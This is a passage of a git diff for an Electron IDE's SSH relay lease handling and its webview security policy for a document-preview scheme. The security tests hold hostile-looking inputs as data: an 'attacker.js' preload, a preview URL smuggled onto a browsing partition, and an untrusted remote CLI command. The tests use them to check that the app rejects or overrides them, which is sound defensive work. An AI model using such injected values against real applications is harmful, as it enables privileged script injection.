+
+  // A close raises the repo's topology revision, and that is what the fence reads. Pinned as
+  // behavior because `terminalSurfaceTombstonesByPaneKey` — the older per-surface fence — is
+  // consumed and cleared by `sanitizeWorkspaceSessionTerminalRetirements` on every session write,
+  // so it is never present by the time a binding write could consult it.
+  it('treats a raised topology revision as the authority that makes absence a close', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    store.setWorkspaceSession(sessionAfterClose())
+
+    const session = store.getWorkspaceSession()
+    expect(session.terminalTopologyRevisionByRepoId?.repo1).toBeGreaterThan(0)
+    expect(session.terminalSurfaceTombstonesByPaneKey ?? {}).toEqual({})
+    expect(relayReattachBinds(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' })).toBe(
+      false
+    )
+  })
+})
+
+describe('STA-3077: one pane keeps at most one live remote lease', () => {
+  beforeEach(() => {
+    testState.dir = mkdtempSync(join(tmpdir(), 'orca-test-'))
+  })
+  afterEach(() => {
+    rmSync(testState.dir, { recursive: true, force: true })
+  })
+
+  // The 2 -> 19 -> 20 mechanism: lease identity was `(targetId, ptyId)` alone, so a reconnect
+  // minting a new relay id left its predecessor live with nothing to retire it.
+  it('retires the predecessor when a pane re-leases under a new relay pty id', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    const lease = { targetId: TARGET, worktreeId: WORKTREE, tabId: TAB, leafId: TEST_LEAF_1 }
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-1', state: 'attached' })
+
+    paneBindsTo(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-2' })
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-2', state: 'attached' })
+
+    expect(liveLeasePtyIds(store)).toEqual(['pty-2'])
+  })
+
+  // Superseding must not assert a death nobody observed — the remote shell is deliberately left
+  // running, so the predecessor is `expired`, never `terminated`.
+  it('marks the superseded lease expired rather than terminated', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    const lease = { targetId: TARGET, worktreeId: WORKTREE, tabId: TAB, leafId: TEST_LEAF_1 }
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-1', state: 'attached' })
+
+    paneBindsTo(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-2' })
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-2', state: 'attached' })
+
+    const predecessor = store.getSshRemotePtyLeases(TARGET).find((entry) => entry.ptyId === 'pty-1')
+    expect(predecessor?.state).toBe('expired')
+  })
+
+  // The reported growth: live claims must not scale with reconnect count.
+  it('holds the live lease count flat across ten reconnects of one pane', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-0' }))
+    const lease = { targetId: TARGET, worktreeId: WORKTREE, tabId: TAB, leafId: TEST_LEAF_1 }
+
+    for (let reconnect = 0; reconnect < 10; reconnect++) {
+      paneBindsTo(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: `pty-${reconnect}` })
+      store.upsertSshRemotePtyLease({ ...lease, ptyId: `pty-${reconnect}`, state: 'attached' })
+    }
+
+    expect(liveLeasePtyIds(store)).toEqual(['pty-9'])
+  })
+
+  // A pane broken out into its own tab keeps its leaf but not its tabId. Keying supersession on
+  // the tab would stop it competing with its own predecessor — the cardinality growth again.
+  it('supersedes across a tab change, because the leaf is the pane identity', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'pty-1',
+      worktreeId: WORKTREE,
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      state: 'attached'
+    })
+
+    paneBindsTo(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-2' })
+    // The successor's lease names the tab the pane sits in NOW; the predecessor's still names the
+    // one it was written in. Only the leaf is common, so keying on the tab would stop the two
+    // competing and leave both live — the cardinality growth.
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'pty-2',
+      worktreeId: WORKTREE,
+      tabId: OTHER_TAB,
+      leafId: TEST_LEAF_1,
+      state: 'attached'
+    })
+
+    expect(liveLeasePtyIds(store)).toEqual(['pty-2'])
+  })
+
+  // Expiring the lease the pane is actually bound to would detach a live pane. When the arriving
+  // lease is not yet the bound one, both stay live and reattach arbitrates with the binding.
+  it('leaves both live when the pane is still bound to the predecessor', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    const lease = { targetId: TARGET, worktreeId: WORKTREE, tabId: TAB, leafId: TEST_LEAF_1 }
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-1', state: 'attached' })
+
+    // A lease arrives for a shell the pane has NOT bound; the binding still names pty-1.
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-9', state: 'detached' })
+
+    expect(liveLeasePtyIds(store).sort()).toEqual(['pty-1', 'pty-9'])
+  })
+
+  // Panes are independent: superseding one must not touch a sibling's lease.
+  it('does not supersede a different pane in the same worktree', async () => {
+    const store = await createStore()
+    store.setWorkspaceSession(sessionWithPane({ tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-1' }))
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'sibling-pty',
+      worktreeId: WORKTREE,
+      tabId: TAB,
+      leafId: TEST_LEAF_2,
+      state: 'attached'
+    })
+    const lease = { targetId: TARGET, worktreeId: WORKTREE, tabId: TAB, leafId: TEST_LEAF_1 }
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-1', state: 'attached' })
+
+    paneBindsTo(store, { tabId: TAB, leafId: TEST_LEAF_1, ptyId: 'pty-2' })
+    store.upsertSshRemotePtyLease({ ...lease, ptyId: 'pty-2', state: 'attached' })
+
+    expect(liveLeasePtyIds(store).sort()).toEqual(['pty-2', 'sibling-pty'])
+  })
+
+  // Characterises the merge that makes relay pty-id RECYCLING dangerous: a lease upserted without
+  // pane fields inherits whatever pane the matched record named. Correct for a same-shell
+  // re-upsert, which is why it exists; unsafe when the relay restarted and handed this id to a
+  // different shell. Pinned so a future change to the merge is a deliberate one.
+  it('inherits stored pane fields when a lease re-upserts without them', async () => {
+    const store = await createStore()
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'pty-1',
+      worktreeId: WORKTREE,
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      state: 'attached'
+    })
+
+    store.upsertSshRemotePtyLease({
+      targetId: TARGET,
+      ptyId: 'pty-1',
+      worktreeId: undefined,
+      tabId: undefined,
+      leafId: undefined,
+      state: 'detached'
+    } as never)
+
+    expect(store.getSshRemotePtyLeases(TARGET)[0]).toMatchObject({
+      ptyId: 'pty-1',
+      tabId: TAB,
+      leafId: TEST_LEAF_1,
+      state: 'detached'
+    })
+  })
+})
diff --git a/src/main/ssh/ssh-relay-session.ts b/src/main/ssh/ssh-relay-session.ts
index eb59d0a56fa..16dc2acbc91 100644
--- a/src/main/ssh/ssh-relay-session.ts
+++ b/src/main/ssh/ssh-relay-session.ts
@@ -79,6 +79,10 @@ import {
 import { normalizeRemoteArtifactInput } from '../../shared/artifact-cli-bridge'
 import type { Store } from '../persistence'
 import type { OrcaRuntimeService } from '../runtime/orca-runtime'
+import {
+  findTerminalTabIdForLeaf,
+  hasHostAuthoritativeTerminalMembership
+} from '../runtime/workspace-session-terminal-membership-authority'
 import { DEFAULT_PTY_SOURCE_WINDOW_SU } from '../../shared/pty-source-credit-contract'
 import { PTY_CONSUMER_STALE_OWNER_RECOVERY_ERROR } from '../../shared/pty-consumer-session'
 import {
@@ -2551,19 +2555,50 @@ export class SshRelaySession {
     lease: SshPtyLease | undefined
   ): void {
     if (lease?.worktreeId && lease.tabId && lease.leafId) {
+      const session = this.store.getWorkspaceSession?.()
+      // The lease froze its tabId at write time; `detachTerminalPaneToTab` moves a live pane, so
+      // trusting it would fence this reattach to the tab the pane LEFT and refuse a pane that
+      // merely moved. Leaf is the identity, the tab is only where it currently sits.
+      // SSH spawns bind panes into `ssh:<target>` while this reattach binds into `local`, so a
+      // fence that consulted only one partition would read "no pane" for a pane the other holds.
+      const hostSession = this.store.getWorkspaceSession?.(toSshExecutionHostId(this.targetId))
+      const tabId =
+        findTerminalTabIdForLeaf(session, lease.leafId) ??
+        findTerminalTabIdForLeaf(hostSession, lease.leafId) ??
+        lease.tabId
       this.runtime?.registerPty(appPtyId, lease.worktreeId, this.targetId, {
-        tabId: lease.tabId,
+        tabId,
         leafId: lease.leafId,
         incarnationId
       })
       try {
-        this.store.persistPtyBinding({
+        // Absence of the pane only means "the user closed it" once the persisted membership
+        // speaks for this worktree. Before that it means the renderer has not published its
+        // layout yet, and refusing there drops a tab the user still has — the regression that
+        // reverted this fix twice. Losing a tab is worse than keeping a duplicate, so an
+        // unauthoritative session still gets the creating write.
+        // Authority is read from `local` because that is the partition this write lands in — it
+        // is local's absence we would be interpreting. But a pane the other partition still holds
+        // is not gone, so it keeps its creating write: refusing there would strand a live pane
+        // behind a binding reattach can no longer reach.
+        const mayCreate =
+          !hasHostAuthoritativeTerminalMembership(session, lease.worktreeId) ||
+          findTerminalTabIdForLeaf(hostSession, lease.leafId) !== undefined
+        const bound = this.store.persistPtyBinding({
           worktreeId: lease.worktreeId,
-          tabId: lease.tabId,
+          tabId,
           leafId: lease.leafId,
           ptyId: appPtyId,
-          incarnationId
+          incarnationId,
+          ...(mayCreate ? {} : { mayCreate: false })
         })
+        if (bound === false) {
+          // The pane is gone for good, so this shell has no surface to reach it through. Expire
+          // the lease so later reconnects stop fanning out over it — deliberately not
+          // `terminated`, which would assert an exit nothing here observed, and deliberately
+          // without killing the remote process.
+          this.store.markSshRemotePtyLease(this.targetId, appPtyId, 'expired')
+        }
       } catch (error) {
         console.error('[ssh-relay-session] Failed to persist reconnect incarnation:', error)
       }
diff --git a/src/main/ssh/ssh-remote-cli-host-passthrough.test.ts b/src/main/ssh/ssh-remote-cli-host-passthrough.test.ts
index b4d7ca07fef..e66cbd77507 100644
--- a/src/main/ssh/ssh-remote-cli-host-passthrough.test.ts
+++ b/src/main/ssh/ssh-remote-cli-host-passthrough.test.ts
@@ -106,11 +106,29 @@ describe('buildHostCliEnv', () => {
     expect(env.PATH).toBe('/host/bin')
     expect(env.ORCA_USER_DATA_PATH).toBe('/host/user-data')
     expect(env.ORCA_CLI_CWD).toBe('/home/alice/wt/sub')
+    expect(env.ORCA_CLI_COMMAND).toBe('orca')
     expect(env.ELECTRON_RUN_AS_NODE).toBe('1')
     expect(env.NODE_OPTIONS).toBeUndefined()
     expect(env.ORCA_NODE_OPTIONS).toBe('--inspect')
   })
 
+  it.each([
+    ['dev host', { ORCA_DEV_REPO_ROOT: '/repo', ORCA_CLI_COMMAND: 'orca-dev' }],
+    ['packaged Linux host', { ORCA_CLI_COMMAND: 'orca-ide' }],
+    ['local host', {}],
+    ['WSL host', { WSL_DISTRO_NAME: 'Ubuntu', ORCA_CLI_COMMAND: 'orca-ide' }],
+    ['Windows host', { ComSpec: 'C:\\Windows\\System32\\cmd.exe' }]
+  ])('pins %s recovery to the remote shim', (_name, hostEnv) => {
+    const env = buildHostCliEnv({
+      hostEnv,
+      remoteEnv: { ORCA_CLI_COMMAND: 'untrusted-remote-command' },
+      userDataPath: '/host/user-data',
+      remoteCwd: '/srv/repo'
+    })
+
+    expect(env.ORCA_CLI_COMMAND).toBe('orca')
+  })
+
   it('namespaces identical remote artifact paths by stable SSH target', () => {
     const artifactInput = {
       sourceKey: '/srv/repo/report.html',
diff --git a/src/main/ssh/ssh-remote-cli-host-passthrough.ts b/src/main/ssh/ssh-remote-cli-host-passthrough.ts
index 7749584a61a..05a785c8482 100644
--- a/src/main/ssh/ssh-remote-cli-host-passthrough.ts
+++ b/src/main/ssh/ssh-remote-cli-host-passthrough.ts
@@ -159,6 +159,8 @@ export function buildHostCliEnv(args: {
   // subprocess cwd cannot be chdir'd there; ORCA_CLI_CWD carries it for
   // cwd-based selectors like `--worktree active`.
   env.ORCA_CLI_CWD = args.remoteCwd
+  // Why: recovery commands run on the SSH execution host through its relay shim.
+  env.ORCA_CLI_COMMAND = 'orca'
   // Why: same node-mode hygiene as the shipped CLI launchers — stash and clear
   // NODE_OPTIONS so Electron's node bootstrap does not inherit them.
   env.ORCA_NODE_OPTIONS = args.hostEnv.NODE_OPTIONS ?? ''
diff --git a/src/main/window/attach-main-window-services.test.ts b/src/main/window/attach-main-window-services.test.ts
index 51777682474..8a340d840ec 100644
--- a/src/main/window/attach-main-window-services.test.ts
+++ b/src/main/window/attach-main-window-services.test.ts
@@ -17,6 +17,8 @@ const {
   registerWorktreeHandlersMock,
   registerPtyHandlersMock,
   hydrateLocalPtyRegistryAtBootMock,
+  setWorktreeBaseDirectoryWatcherSyncContextMock,
+  scheduleWorktreeBaseDirectoryWatcherSyncMock,
   setupAutoUpdaterMock,
   browserManagerUnregisterAllMock,
   runWorktreeChangeInvalidatorsMock,
@@ -40,6 +42,8 @@ const {
   registerWorktreeHandlersMock: vi.fn(),
   registerPtyHandlersMock: vi.fn(),
   hydrateLocalPtyRegistryAtBootMock: vi.fn(),
+  setWorktreeBaseDirectoryWatcherSyncContextMock: vi.fn(),
+  scheduleWorktreeBaseDirectoryWatcherSyncMock: vi.fn(),
   setupAutoUpdaterMock: vi.fn(),
   browserManagerUnregisterAllMock: vi.fn(),
   runWorktreeChangeInvalidatorsMock: vi.fn(),
@@ -98,6 +102,11 @@ vi.mock('../memory/hydrate-local-pty-registry', () => ({
   hydrateLocalPtyRegistryAtBoot: hydrateLocalPtyRegistryAtBootMock
 }))
 
+vi.mock('../ipc/worktree-base-directory-watcher', () => ({
+  setWorktreeBaseDirectoryWatcherSyncContext: setWorktreeBaseDirectoryWatcherSyncContextMock,
+  scheduleWorktreeBaseDirectoryWatcherSync: scheduleWorktreeBaseDirectoryWatcherSyncMock
+}))
+
 vi.mock('../browser/browser-manager', () => ({
   browserManager: {
     unregisterAll: browserManagerUnregisterAllMock
@@ -222,27 +231,7 @@ async function fireReadyToShow(mainWindow: MainWindowStub): Promise<void> {
 
 describe('attachMainWindowServices', () => {
   beforeEach(() => {
-    onMock.mockReset()
-    removeAllListenersMock.mockReset()
-    removeListenerMock.mockReset()
-    handleMock.mockReset()
-    removeHandlerMock.mockReset()
-    setPermissionRequestHandlerMock.mockReset()
-    setPermissionCheckHandlerMock.mockReset()
-    systemPreferencesAskForMediaAccessMock.mockReset()
-    systemPreferencesGetMediaAccessStatusMock.mockReset()
-    registerRepoHandlersMock.mockReset()
-    setRepoRemoteClientNotifierMock.mockReset()
-    setWorktreeCatalogRemoteClientNotifierMock.mockReset()
-    registerWorktreeHandlersMock.mockReset()
-    registerPtyHandlersMock.mockReset()
-    hydrateLocalPtyRegistryAtBootMock.mockReset()
-    setupAutoUpdaterMock.mockReset()
-    browserManagerUnregisterAllMock.mockReset()
-    acknowledgePendingTccPromptNoticeMock.mockReset()
-    consumePendingTccPromptNoticeMock.mockReset()
-    dismissTccPromptNoticeMock.mockReset()
-    releasePendingTccPromptNoticeMock.mockReset()
+    vi.resetAllMocks()
     systemPreferencesAskForMediaAccessMock.mockResolvedValue(true)
     systemPreferencesGetMediaAccessStatusMock.mockReturnValue('granted')
   })
@@ -945,4 +934,21 @@ describe('attachMainWindowServices', () => {
       identity
     })
   })
+
+  it('keeps deferred worktree watcher setup inside the service boundary', async () => {
+    const mainWindow = createMainWindow()
+    const store = createStore()
+
+    vi.useFakeTimers()
+    try {
+      attachMainWindowServices(mainWindow as never, store, createRuntime() as never)
+
+      expect(setWorktreeBaseDirectoryWatcherSyncContextMock).toHaveBeenCalledWith(store, mainWindow)
+      expect(scheduleWorktreeBaseDirectoryWatcherSyncMock).toHaveBeenCalledWith(store, mainWindow)
+
+      await vi.advanceTimersByTimeAsync(100)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
 })
diff --git a/src/main/window/main-window-webview-security.test.ts b/src/main/window/main-window-webview-security.test.ts
index 40ece6f1dbc..e54dc6a6836 100644
--- a/src/main/window/main-window-webview-security.test.ts
+++ b/src/main/window/main-window-webview-security.test.ts
@@ -5,6 +5,7 @@ const mocks = vi.hoisted(() => ({
   attachGuestPolicies: vi.fn(),
   installNavigationPolicy: vi.fn(),
   isAllowedPartition: vi.fn(),
+  attachRouteGuest: vi.fn(),
   registerPluginGuard: vi.fn()
 }))
 
@@ -20,20 +21,61 @@ vi.mock('../plugins/plugin-panel-navigation-guard', () => ({
 vi.mock('./privileged-window-navigation', () => ({
   installPrivilegedWindowNavigationPolicy: mocks.installNavigationPolicy
 }))
+vi.mock('../browser/browser-route-session-runtime', () => ({
+  browserRouteSessionRegistry: { isAllowedPartition: () => false },
+  browserRouteWebContentsRegistry: { attachGuest: mocks.attachRouteGuest }
+}))
+vi.mock('../browser/local-ssh-browser-partitions', () => ({
+  isLocalSshBrowserPartition: () => false,
+  enforceLocalSshWebRtcPolicyForGuest: vi.fn()
+}))
+vi.mock('../browser/doc-preview-protocol', () => ({
+  isDocPreviewSession: (candidate: unknown) => candidate === 'doc-preview-session'
+}))
 
 import { installMainWindowWebviewSecurity } from './main-window-webview-security'
+import {
+  getDocPreviewGrant,
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants
+} from '../browser/doc-preview-grant-registry'
+import {
+  publishDocPreviewFailure,
+  setDocPreviewFailureSink
+} from '../browser/doc-preview-failure-notice'
+import { buildDocPreviewUrl, DOC_PREVIEW_PARTITION } from '../../shared/doc-preview-scheme'
+
+function installOnFakeWindow(): {
+  handlers: Record<string, (...args: never[]) => void>
+  webContents: { on: ReturnType<typeof vi.fn> }
+} {
+  const handlers: Record<string, (...args: never[]) => void> = {}
+  const webContents = {
+    on: vi.fn((event: string, handler: (...args: never[]) => void) => {
+      handlers[event] = handler
+    })
+  }
+  installMainWindowWebviewSecurity({ webContents } as never)
+  return { handlers, webContents }
+}
+
+function mintPreviewGrant(): ReturnType<typeof mintDocPreviewGrant> {
+  return mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId: 'page-1'
+  })
+}
 
 describe('main window webview security', () => {
-  beforeEach(() => vi.clearAllMocks())
+  beforeEach(() => {
+    vi.clearAllMocks()
+    revokeAllDocPreviewGrants()
+  })
 
   it('fails closed before applying hardened guest preferences', () => {
-    const handlers: Record<string, (...args: never[]) => void> = {}
-    const webContents = {
-      on: vi.fn((event: string, handler: (...args: never[]) => void) => {
-        handlers[event] = handler
-      })
-    }
-    installMainWindowWebviewSecurity({ webContents } as never)
+    const { handlers, webContents } = installOnFakeWindow()
     mocks.isAllowedPartition.mockReturnValue(false)
     const preventDefault = vi.fn()
 
@@ -49,13 +91,7 @@ describe('main window webview security', () => {
   })
 
   it('removes renderer preload input and restores every hardened preference', () => {
-    const handlers: Record<string, (...args: never[]) => void> = {}
-    const webContents = {
-      on: vi.fn((event: string, handler: (...args: never[]) => void) => {
-        handlers[event] = handler
-      })
-    }
-    installMainWindowWebviewSecurity({ webContents } as never)
+    const { handlers } = installOnFakeWindow()
     mocks.isAllowedPartition.mockReturnValue(true)
     const params = { src: 'https://example.com', preload: 'attacker.js' }
     const preferences: Record<string, unknown> = {
@@ -85,3 +121,198 @@ describe('main window webview security', () => {
     expect(String(preferences.preload)).toMatch(/browser-window-close-preload\.js$/)
   })
 })
+
+describe('orca-preview scheme admission', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    revokeAllDocPreviewGrants()
+  })
+
+  it('admits a preview URL only on the preview partition and only with a live grant', () => {
+    // Install first, as the window does: installation itself clears the registry.
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+    mocks.isAllowedPartition.mockReturnValue(false)
+    const preventDefault = vi.fn()
+    const preferences: Record<string, unknown> = {
+      partition: DOC_PREVIEW_PARTITION,
+      preload: 'attacker.js',
+      sandbox: false
+    }
+
+    handlers['will-attach-webview']?.(
+      { preventDefault } as never,
+      preferences as never,
+      { src: buildDocPreviewUrl(grant.id, 'index.html'), preload: 'attacker.js' } as never
+    )
+
+    expect(preventDefault).not.toHaveBeenCalled()
+    expect(preferences).toMatchObject({
+      partition: DOC_PREVIEW_PARTITION,
+      contextIsolation: true,
+      nodeIntegration: false,
+      sandbox: true,
+      webSecurity: true
+    })
+    expect(preferences).not.toHaveProperty('preloadURL')
+  })
+
+  // Why both directions: the preview preload is the only script that can turn a press into a
+  // browser tab, so a browsing guest must never receive it — and a preview must never receive
+  // anything else, least of all a value the renderer supplied.
+  it('pins the preview preload onto a preview attach, replacing whatever the renderer asked for', () => {
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+    mocks.isAllowedPartition.mockReturnValue(false)
+    const params = { src: buildDocPreviewUrl(grant.id, 'index.html'), preload: 'attacker.js' }
+    const preferences: Record<string, unknown> = {
+      partition: DOC_PREVIEW_PARTITION,
+      preload: 'attacker.js'
+    }
+
+    handlers['will-attach-webview']?.(
+      { preventDefault: vi.fn() } as never,
+      preferences as never,
+      params as never
+    )
+
+    expect(params).not.toHaveProperty('preload')
+    expect(String(preferences.preload)).toMatch(/doc-preview-link-preload\.js$/)
+  })
+
+  it('keeps the preview preload off a browsing attach', () => {
+    const { handlers } = installOnFakeWindow()
+    mocks.isAllowedPartition.mockReturnValue(true)
+    const preferences: Record<string, unknown> = { partition: 'persist:orca-browser' }
+
+    handlers['will-attach-webview']?.(
+      { preventDefault: vi.fn() } as never,
+      preferences as never,
+      { src: 'https://example.com' } as never
+    )
+
+    expect(String(preferences.preload)).toMatch(/browser-window-close-preload\.js$/)
+  })
+
+  it('denies a preview URL whose grant is unknown or revoked', () => {
+    const { handlers } = installOnFakeWindow()
+    mocks.isAllowedPartition.mockReturnValue(false)
+    const preventDefault = vi.fn()
+
+    handlers['will-attach-webview']?.(
+      { preventDefault } as never,
+      { partition: DOC_PREVIEW_PARTITION } as never,
+      { src: `orca-preview://${'0'.repeat(32)}/index.html` } as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('denies a preview URL smuggled onto a browsing partition', () => {
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+    // Even an allowlisted browsing partition must not load the preview scheme.
+    mocks.isAllowedPartition.mockReturnValue(true)
+    const preventDefault = vi.fn()
+
+    handlers['will-attach-webview']?.(
+      { preventDefault } as never,
+      { partition: 'persist:orca-browser' } as never,
+      { src: buildDocPreviewUrl(grant.id, 'index.html') } as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  it('denies a web URL on the preview partition', () => {
+    const { handlers } = installOnFakeWindow()
+    mocks.isAllowedPartition.mockReturnValue(false)
+    const preventDefault = vi.fn()
+
+    handlers['will-attach-webview']?.(
+      { preventDefault } as never,
+      { partition: DOC_PREVIEW_PARTITION } as never,
+      { src: 'https://example.com' } as never
+    )
+
+    expect(preventDefault).toHaveBeenCalledOnce()
+  })
+
+  // Why the host is asserted and not just the profile: it is the renderer that minted the grant,
+  // and it is the only sink a link the reader presses can be reported to. A preview attached
+  // against another window's contents would report its clicks to a reader who is not there.
+  it('attaches a preview guest under the workspace-doc profile, hosted by this window', () => {
+    const { handlers, webContents } = installOnFakeWindow()
+
+    handlers['did-attach-webview']?.({} as never, { session: 'doc-preview-session' } as never)
+
+    expect(mocks.attachGuestPolicies).toHaveBeenCalledWith(
+      { session: 'doc-preview-session' },
+      null,
+      {
+        profile: 'workspace-doc',
+        host: webContents
+      }
+    )
+    expect(mocks.attachRouteGuest).not.toHaveBeenCalled()
+  })
+
+  it('keeps browser guests on the browsing profile and its route registration', () => {
+    const { handlers } = installOnFakeWindow()
+
+    handlers['did-attach-webview']?.({} as never, { session: 'browser-session' } as never)
+
+    expect(mocks.attachGuestPolicies).toHaveBeenCalledOnce()
+    expect(mocks.attachGuestPolicies.mock.calls[0]?.[2]).toBeUndefined()
+    expect(mocks.attachRouteGuest).toHaveBeenCalledOnce()
+  })
+
+  // Why: every live preview belongs to this window, so its teardown is the one moment no grant can
+  // still have a reader — and the failure sink must stop pointing at dead WebContents.
+  it('drops the failure sink and every grant when the window contents are destroyed', () => {
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+    const send = vi.fn()
+    setDocPreviewFailureSink({ send })
+    expect(getDocPreviewGrant(grant.id)).not.toBeNull()
+
+    handlers['destroyed']?.()
+    publishDocPreviewFailure({
+      grantId: grant.id,
+      relativePath: 'index.html',
+      reason: 'unreadable'
+    })
+
+    expect(getDocPreviewGrant(grant.id)).toBeNull()
+    expect(send).not.toHaveBeenCalled()
+  })
+
+  // Why: the renderer is the only side that remembers which preview owns which grant, so a grant
+  // that outlives its renderer is a read authority nobody can release.
+  it('clears grants a previous renderer left behind when the window is created', () => {
+    const stranded = mintPreviewGrant()
+
+    installOnFakeWindow()
+
+    expect(getDocPreviewGrant(stranded.id)).toBeNull()
+  })
+
+  it('clears grants the renderer forgot across a reload', () => {
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+
+    handlers['did-start-navigation']?.({ isMainFrame: true, isSameDocument: false } as never)
+
+    expect(getDocPreviewGrant(grant.id)).toBeNull()
+  })
+
+  it('keeps grants across an in-document or subframe navigation, which keeps the renderer', () => {
+    const { handlers } = installOnFakeWindow()
+    const grant = mintPreviewGrant()
+
+    handlers['did-start-navigation']?.({ isMainFrame: true, isSameDocument: true } as never)
+    handlers['did-start-navigation']?.({ isMainFrame: false, isSameDocument: false } as never)
+
+    expect(getDocPreviewGrant(grant.id)).not.toBeNull()
+  })
+})
diff --git a/src/main/window/main-window-webview-security.ts b/src/main/window/main-window-webview-security.ts
index fc3c72860da..da6e4159a58 100644
--- a/src/main/window/main-window-webview-security.ts
+++ b/src/main/window/main-window-webview-security.ts
@@ -13,16 +13,56 @@ import {
   browserRouteWebContentsRegistry
 } from '../browser/browser-route-session-runtime'
 import { ORCA_BROWSER_BLANK_URL } from '../../shared/constants'
+import { DOC_PREVIEW_PARTITION, parseDocPreviewUrl } from '../../shared/doc-preview-scheme'
+import { setDocPreviewFailureSink } from '../browser/doc-preview-failure-notice'
+import {
+  getDocPreviewGrant,
+  revokeAllDocPreviewGrants
+} from '../browser/doc-preview-grant-registry'
+import { isDocPreviewSession } from '../browser/doc-preview-protocol'
 import { registerPluginPanelNavigationGuard } from '../plugins/plugin-panel-navigation-guard'
 import { installPrivilegedWindowNavigationPolicy } from './privileged-window-navigation'
 
+/**
+ * Why a separate admission rule: `normalizeBrowserNavigationUrl` answers only for
+ * http(s) and `file:`, so `orca-preview://` can only ever attach here — and only
+ * on the doc-preview partition, carrying a grant the main process minted for a
+ * deliberate user preview action. Web content has no way to reach either.
+ */
+function isAdmissibleDocPreviewAttach(partition: string, src: string): boolean {
+  if (partition !== DOC_PREVIEW_PARTITION) {
+    return false
+  }
+  const target = parseDocPreviewUrl(src)
+  return target !== null && getDocPreviewGrant(target.grantId) !== null
+}
+
 export function installMainWindowWebviewSecurity(mainWindow: BrowserWindow): void {
   installPrivilegedWindowNavigationPolicy(mainWindow.webContents)
+  // Why here and on every fresh shell document: the renderer holds the only record of which
+  // preview owns which grant, and a reload throws that record away. Grants it can no longer
+  // release would stay live read authorities for the rest of the process.
+  revokeAllDocPreviewGrants()
+  mainWindow.webContents.on('did-start-navigation', (details) => {
+    if (details.isMainFrame && !details.isSameDocument) {
+      revokeAllDocPreviewGrants()
+    }
+  })
+  // Why these contents and not the window: every live preview is a guest of this WebContents, and
+  // it is also the failure sink itself — once it is destroyed no grant it minted has a reader left.
+  mainWindow.webContents.on('destroyed', () => {
+    setDocPreviewFailureSink(null)
+    revokeAllDocPreviewGrants()
+  })
   // Why: containment must be listening before any plugin panel frame is created,
   // so register it with the window's other navigation policy.
   registerPluginPanelNavigationGuard(mainWindow.webContents)
 
   const browserWindowClosePreload = join(__dirname, 'browser-window-close-preload.js')
+  // Why a preview gets a preload at all: it is our own editor surface, not a browsing guest. This
+  // one only decides what a click on a link means, and it is pinned here so no renderer-supplied
+  // value can reach a preview guest and no other attach path can acquire it.
+  const docPreviewLinkPreload = join(__dirname, 'doc-preview-link-preload.js')
   mainWindow.webContents.on('will-attach-webview', (event, webPreferences, params) => {
     const src = typeof params.src === 'string' ? params.src : ''
     const normalizedSrc = normalizeBrowserNavigationUrl(src)
@@ -33,12 +73,14 @@ export function installMainWindowWebviewSecurity(mainWindow: BrowserWindow): voi
     // so admission here can never race an unproxied session. They navigate like
     // profile partitions — the renderer owns their URLs, no main-side grants.
     const isLocalSshPartition = isLocalSshBrowserPartition(partition)
+    const isDocPreviewAttach = isAdmissibleDocPreviewAttach(partition, src)
 
     // Why: fail closed — deny any src or partition not in the registry allowlist so a renderer bug can't smuggle preload/Node into an unprivileged guest.
     if (
-      !normalizedSrc ||
-      (!isProfilePartition && !isRoutePartition && !isLocalSshPartition) ||
-      (isRoutePartition && normalizedSrc !== ORCA_BROWSER_BLANK_URL)
+      !isDocPreviewAttach &&
+      (!normalizedSrc ||
+        (!isProfilePartition && !isRoutePartition && !isLocalSshPartition) ||
+        (isRoutePartition && normalizedSrc !== ORCA_BROWSER_BLANK_URL))
     ) {
